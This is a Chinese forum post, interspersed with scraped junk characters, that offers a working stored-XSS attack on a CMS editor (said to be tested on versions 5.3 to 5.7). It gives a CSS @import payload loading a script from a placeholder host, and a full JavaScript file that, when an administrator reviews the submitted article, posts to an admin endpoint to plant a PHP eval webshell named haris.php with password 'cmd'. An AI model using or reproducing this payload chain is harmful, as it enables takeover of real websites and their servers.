<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell7 m$ ~, H4 R* A# ` r' }
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰); x! z9 n3 X, B! ~' d1 ~5 y5 r1 v
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
8 y0 O% n4 z2 c1 g# v5 n下面说说利用方法。
7 X3 p2 e2 Q3 h/ j条件有2个:
5 g5 Y! e: Z' v% e6 k1.开启注册
/ P' `6 }/ F8 }9 ?0 x/ m& C2.开启投稿& R$ ~- O7 R+ m; F
注册会员----发表文章
7 K0 h+ f6 H) T) u1 K% }$ @内容填写:
) r, _2 R- q# R( h7 H复制代码1 I8 z. o/ b. [& w _& s% f
<style>@im\port'\http://xxx.com/xss.css';</style>2 r( ?" M6 }, c0 R$ t
新建XSS.Css6 u3 D% h1 b4 f8 H5 h' ^8 f3 y
复制代码
2 _4 O5 `9 _1 P6 N+ Q.body{& ?, X6 t- ^( B6 Z3 K# Z
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }$ T% I7 r; z! O$ f1 l
新建xss.js 内容为
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1.var request = false;) c, Y3 ]* ?/ l7 E& q. g3 L: R' h+ W5 ]
2.if(window.XMLHttpRequest) {. K' u) Y0 o# f) X
3.request = new XMLHttpRequest();0 |! {8 @7 n: A; a F- N4 b/ t
4.if(request.overrideMimeType) {- m6 y! N& { p
5.request.overrideMimeType('text/xml');- ^3 l! M9 U$ k3 w- b& C w
6.}
3 V# i n" i' G( Z7.} else if(window.ActiveXObject) {
5 H, k8 x9 J% D8 m+ ]5 M2 G8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 @) S% n3 @9 Q1 }7 ^3 \) [2 w+ q9.for(var i=0; i<versions.length; i++) {
; t- s! |* n) p10.try {3 j% j8 A1 `% i% g- B/ R0 o5 ]( W
11.request = new ActiveXObject(versions);
8 Y, N# g A( ]# H; B/ N% s12.} catch(e) {}
7 Q0 T+ z. d$ t- h$ [13.}
: W9 A- ~, x! h0 O' O3 p; l) T; F% ]14.}1 M$ N; p- A) X, d
15.xmlhttp=request;
5 G" K- [: t2 ~& W# H6 I) o b16.function getFolder( url ){4 ~# N- u4 W- b9 A# O$ t" ?* ?
17. obj = url.split('/'). p" e% [3 z4 ]' j
18. return obj[obj.length-2]
# {- x4 i; A- g+ t19.}
) @. n& u" d/ w2 |( e" t+ R! c9 v6 i20.oUrl = top.location.href;. J( r, y( A V6 O7 Z
21.u = getFolder(oUrl);0 n# h. E' ^) N
22.add_admin();
) S0 ^1 m" [1 R U) X M( b23.function add_admin(){- `7 a3 P- V3 O% b, J% b. D
24.var url= "/"+u+"/sys_sql_query.php";
; j$ G5 a2 r3 w j$ `25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";6 W5 q" q3 Y) b" g, P
26.xmlhttp.open("POST", url, true);4 H9 l- A ~" l
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
e: H" V; X1 ~: D28.xmlhttp.setRequestHeader("Content-length", params.length);. Q& v- Y3 h5 \; i9 L2 Z: h
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive"); H1 f+ K5 {% O$ N. l" x/ V
30.xmlhttp.send(params);
& Q. i5 M, M+ z' J31.}# z8 S+ g8 N% l7 V, _# a
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |